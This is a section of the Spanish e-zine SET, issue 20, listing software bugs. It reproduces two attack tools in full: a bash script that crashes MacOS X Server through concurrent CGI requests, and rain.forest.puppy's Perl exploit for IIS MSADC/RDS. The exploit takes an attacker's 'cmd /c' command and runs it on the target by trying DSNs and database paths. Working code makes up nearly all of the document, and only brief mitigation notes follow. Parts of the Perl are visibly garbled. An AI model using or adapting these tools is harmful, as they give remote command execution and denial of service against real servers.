-[ 0x09 ]-------------------------------------------------------------------- -[ THE BUGS TOP 10 ]--------------------------------------------------------- -[ by SET Staff ]-----------------------------------------------------SET-20- [ Como vereis, esta seccion es mas corta de lo habitual. Bueno, la verdad es que estaba harto de ver nada mas que distintas versiones de buffer overflows, asi que si quereis disponer de ellos, en los bookmarks de este numero se recoge una direccion donde podreis localizarlos ] -( 0x01 )- Para : MacOS X Tema : System panic Patch : No seria capaz de asegurarlo, pero quizas la manzana sepa algo. Creditos : Juergen Schmidt Descripcion y Notas: Pues tan simple como que cuando se esta ejcutado Apache sobre el MacOS X Server, si existen mas de 32 peticiones dirigidas a un CGI, el sistema se cuelga, obteniendose un system panic. Para comprobar si nuestro sistema es vulnerable, el descubridor del fallo nos proporciona el siguiente script para ejecutarlo con el Apache Benchmark. <++> set_020/tbt10/CGI-McPanic #!/bin/bash # # CGI-McPanic: script to crash MacOS X with # concurrent calls to a CGI-Script # # before use, do: # # chmod a+x /Local/Library/WebServer/CGI-Executables/test-cgi # # then call # # bash ./CGI-McPanic # NUMPROC=32 i=0 while [ $i -le $NUMPROC ] do i=$[$i + 1] ab -t 3600 http://localhost/cgi-bin/test-cgi & done <--> -( 0x02 )- Para : RDS ISS Tema : Vulnerabilidad Patch : 0/1 Creditos : Rain Forest Puppy <++> set_020/tbt10/msadc.pl #!perl # # MSADC/RDS 'usage' (aka exploit) script # # by rain.forest.puppy # # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me # beta test and find errors! use Socket; use Getopt::Std; getopts("e:vd:h:XRVN", \%args); print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; if (!defined $args{h} && !defined $args{R}) { print qq~ Usage: msadc.pl -h { -d -X -v } -h = host you want to scan (ip or domain) -d = delay between calls, default 1 second -X = dump Index Server path table, if available -N = query VbBusObj for NetBIOS name -V = use VbBusObj instead of ActiveDataFactory -v = verbose -e = external dictionary file for step 5 Or a -R will resume a command session ~; exit;} $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; if (defined $args{v}) { $verbose=1; } else {$verbose=0;} if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} if (!defined $args{R}){ $ret = &has_msadc; } if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } if (defined $args{N}) {&get_name; exit;} print "Please type the NT commandline you want to run (cmd /c assumed):\n" . "cmd /c "; $in=; chomp $in; $command="cmd /c " . $in ; if (defined $args{R}) {&load; exit;} print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; &try_btcustmr; print "\nStep 2: Trying to make our own DSN..."; &make_dsn ? print "<>\n" : print "<>\n"; print "\nStep 3: Trying known DSNs..."; &known_dsn; print "\nStep 4: Trying known .mdbs..."; &known_mdb; if (defined $args{e}){ print "\nStep 5: Trying dictionary of DSN names..."; &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } print "Sorry Charley...maybe next time?\n"; exit; ############################################################################## sub sendraw { # ripped and modded from whisker sleep($delay); # it's a DoS on the server! At least on mine... my ($pstr)=@_; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,80,$target)){ select(S); $|=1; print $pstr; my @in=; select(STDOUT); close(S); return @in; } else { die("Can't connect...\n"); }} ############################################################################## sub make_header { # make the HTTP request my $which, $msadc; # yeah, this is WAY redundant. I'll fix it later if (defined $args{V}){ $msadc=<Datasource creation successful<\/H2>/;}} } return 0;} ############################################################################## sub verify_exists { my ($page)=@_; my @results=sendraw("GET $page HTTP/1.0\n\n"); return $results[0];} ############################################################################## sub try_btcustmr { my @drives=("c","d","e","f"); my @dirs=("winnt","winnt35","winnt351","win","windows"); foreach $dir (@dirs) { print "$dir -> "; # fun status so you can see progress foreach $drive (@drives) { print "$drive: "; # ditto $reqlen=length( make_req(1,$drive,$dir) ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(1,$drive,$dir)); if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ############################################################################## sub odbc_error { my (@in)=@_; my $base; my $base = content_start(@in); if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; return $in[$base+4].$in[$base+5].$in[$base+6];} print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ############################################################################## sub verbose { my ($in)=@_; return if !$verbose; print STDOUT "\n$in\n";} ############################################################################## sub save { my ($p1, $p2, $p3, $p4)=@_; open(OUT, ">rds.save") || print "Problem saving parameters...\n"; print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; close OUT;} ############################################################################## sub load { my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; open(IN,"; close(IN); $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); $target= inet_aton($ip) || die("inet_aton problems"); print "Resuming to $ip ..."; $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; if($p[1]==1) { $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); if (rdo_success(@results)){print "Success!\n";} else { print "failed\n"; verbose(odbc_error(@results));}} elsif ($p[1]==3){ if(run_query("$p[3]")){ print "Success!\n";} else { print "failed\n"; }} elsif ($p[1]==4){ if(run_query($drvst . "$p[3]")){ print "Success!\n"; } else { print "failed\n"; }} exit;} ############################################################################## sub create_table { return 1 if (defined $args{V}); my ($in)=@_; $reqlen=length( make_req(2,$in,"") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(2,$in,"")); return 1 if rdo_success(@results); my $temp= odbc_error(@results); verbose($temp); return 1 if $temp=~/Table 'AZZ' already exists/; return 0;} ############################################################################## sub known_dsn { # we want 'wicca' first, because if step 2 made the DSN, it's ready to go my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", "banner", "banners", "ads", "ADCDemo", "ADCTest"); foreach $dSn (@dsns) { print "."; next if (!is_access("DSN=$dSn")); if(create_table("DSN=$dSn")){ print "$dSn successful\n" if (!defined $args{V}); if(run_query("DSN=$dSn")){ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; }}} print "\n";} ############################################################################## sub is_access { my ($in)=@_; return 1 if (defined $args{V}); $reqlen=length( make_req(5,$in,"") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(5,$in,"")); my $temp= odbc_error(@results); verbose($temp); return 1 if ($temp=~/Microsoft Access/); return 0;} ############################################################################## sub run_query { my ($in)=@_; $reqlen=length( make_req(3,$in,"") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(3,$in,"")); return 1 if rdo_success(@results); my $temp= odbc_error(@results); verbose($temp); return 0;} ############################################################################## sub known_mdb { my @drives=("c","d","e","f","g"); my @dirs=("winnt","winnt35","winnt351","win","windows"); my $dir, $drive, $mdb; my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; # this is sparse, because I don't know of many my @sysmdbs=( "\\catroot\\icatalog.mdb", "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", "\\system32\\certmdb.mdb", "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", "\\cfusion\\cfapps\\forums\\forums_.mdb", "\\cfusion\\cfapps\\forums\\data\\forums.mdb", "\\cfusion\\cfapps\\security\\realm_.mdb", "\\cfusion\\cfapps\\security\\data\\realm.mdb", "\\cfusion\\database\\cfexamples.mdb", "\\cfusion\\database\\cfsnippets.mdb", "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", "\\cfusion\\brighttiger\\database\\cleam.mdb", "\\cfusion\\database\\smpolicy.mdb", "\\cfusion\\database\cypress.mdb", "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", "\\website\\cgi-win\\dbsample.mdb", "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ); #these are just \ foreach $drive (@drives) { foreach $dir (@dirs){ foreach $mdb (@sysmdbs) { print "."; if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n" if (!defined $args{V}); if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; }}}}} foreach $drive (@drives) { foreach $mdb (@mdbs) { print "."; if(create_table($drv . $drive . $dir . $mdb)){ print "\n" . $drive . $dir . $mdb . " successful\n" if (!defined {V}); if(run_query($drv . $drive . ":" . $dir . $mdb)){ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; }}}} } ############################################################################## sub hork_idx { print "\nAttempting to dump Index Server tables...\n"; print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; $reqlen=length( make_req(4,"","") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw2(make_header() . make_req(4,"","")); if (rdo_success(@results)){ my $max=@results; my $c; my %d; for($c=19; $c<$max; $c++){ $results[$c]=~s/\x00//g; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; $d{"$1$2"}="";} foreach $c (keys %d){ print "$c\n"; } } else {print "Index server not installed/query failed\n"; }} ############################################################################## sub dsn_dict { open(IN, "<$args{e}") || die("Can't open external dictionary\n"); while(){ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; next if (!is_access("DSN=$dSn")); if(create_table("DSN=$dSn")){ print "$dSn successful\n" if(!defined $args{V}); if(run_query("DSN=$dSn")){ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; }}} print "\n"; close(IN);} ############################################################################## sub sendraw2 { # ripped and modded from whisker sleep($delay); # it's a DoS on the server! At least on mine... my ($pstr)=@_; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,80,$target)){ open(OUT,">raw.out"); my @in; select(S); $|=1; print $pstr; while(){ print OUT $_; push @in, $_; print STDOUT ".";} close(OUT); select(STDOUT); close(S); return @in; } else { die("Can't connect...\n"); }} ############################################################################## sub content_start { # this will take in the server headers my (@in)=@_; my $c; for ($c=1;$c<500;$c++) { if($in[$c] =~/^\x0d\x0a/){ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } else { return $c+1; }}} return -1;} # it should never get here actually ############################################################################## sub funky { my (@in)=@_; my $error=odbc_error(@in); if($error=~/ADO could not find the specified provider/){ print "\nServer returned an ADO miscofiguration message\nAborting.\n"; exit;} if($error=~/A Handler is required/){ print "\nServer has custom handler filters (they most likely are patched)\n"; exit;} if($error=~/specified Handler has denied Access/){ print "\nADO handlers denied access (they most likely are patched)\n"; exit;}} ############################################################################## sub has_msadc { my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); my $base=content_start(@results); return if($results[$base]=~/Content-Type: application\/x-varg/); my @s=grep("Server",@results); if($s[0]!~/IIS/){ print "Doh! They're not running IIS.\n" } else { print "/msadc/msadcs.dll was not found.\n";} exit;} ############################################################################## sub get_name { # this was added last minute my $msadc=<.,?]//g; print "Machine name: $results[$base+6]\n";} ############################################################################## # Note: This is not a good example of precision code. It is very # redundant and has a few kludges. I have been adding features in one at # at a time, so it has resulted in redundant functions and patched code. # I will be rewriting it in the future, sometime. Look for the newer code # revisions at www.technotronic.com/rfp/ # This may also be included in the NT-PTK/P. If you don't know what that # is, just wait and see. :) ############################################################################## <--> Descripcion y Notas: Uso y abuso de poder de las RDS en Microsoft. Si queremos evitarlo (el abuso), podemos hacerlo eliminando la entrada del registro: HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/ W3SVC/Parameters/ADCLaunch/VbBusObj.VbBusObjCls Y para asegurarnos, borrar el fichero vbbusobj.dll Si podemos prescindir de RDS, pues basta con actualizarse, cosa que hay que hacer en cualquier caso, y ejecutar handsafe para cerciorarnos de que el sistema es seguro.